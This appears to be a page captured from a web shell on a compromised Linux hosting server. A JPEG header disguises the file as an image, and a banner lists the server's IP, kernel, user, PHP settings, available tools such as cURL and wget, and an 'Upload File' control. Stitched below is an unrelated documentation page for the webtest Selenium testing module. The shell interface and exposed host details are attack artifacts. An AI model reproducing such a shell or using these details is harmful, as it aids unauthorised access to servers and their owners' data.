ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/845366/root/opt/alt/python27/share/doc/alt-python27-webtest/modules/ |
Upload File : |
:mod:`webtest.sel` -- Functional Testing with Selenium
========================================================
.. automodule:: webtest.sel
Environment variables
---------------------
Those value are used if found in environment:
- ``SELENIUM_HOST``: Default to ``127.0.0.1``
- ``SELENIUM_PORT``: Default to ``4444``
- ``SELENIUM_BIND``: IP used to bind extra servers (WSGI Server/File server).
Default to ``127.0.0.1``
- ``SELENIUM_DRIVER``: The driver used to start the browser. Usualy something
in ``*chrome``, ``*firefox``, ``*googlechrome``. Default to
``*googlechrome``. You can get the full list by running::
$ java -jar selenium-server.jar -interactive
cmd=getNewBrowserSession
- ``SELENIUM_KEEP_OPEN``: If exist then browser session are not closed so you
can introspect the problem on failure.
- ``SELENIUM_JAR``: If selenium is not running then this jar is used to run
selenium.
Module Contents
---------------
.. autoclass:: SeleniumApp
:members:
.. autoclass:: Selenium
:members:
.. autofunction:: selenium
Return Values
~~~~~~~~~~~~~
Some of the return values return instances of these classes:
.. autoclass:: TestResponse
:members:
.. autoclass:: Document
:members:
.. autoclass:: Element
:members:
.. autoclass:: Form
:members:
Examples
--------
Testing a wsgi application
~~~~~~~~~~~~~~~~~~~~~~~~~~~
.. literalinclude:: ../../tests/test_selenium.py
:pyobject: TestApp
Testing the jquery.ui website
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.. literalinclude:: ../../tests/test_selenium.py
:pyobject: TestJQueryUI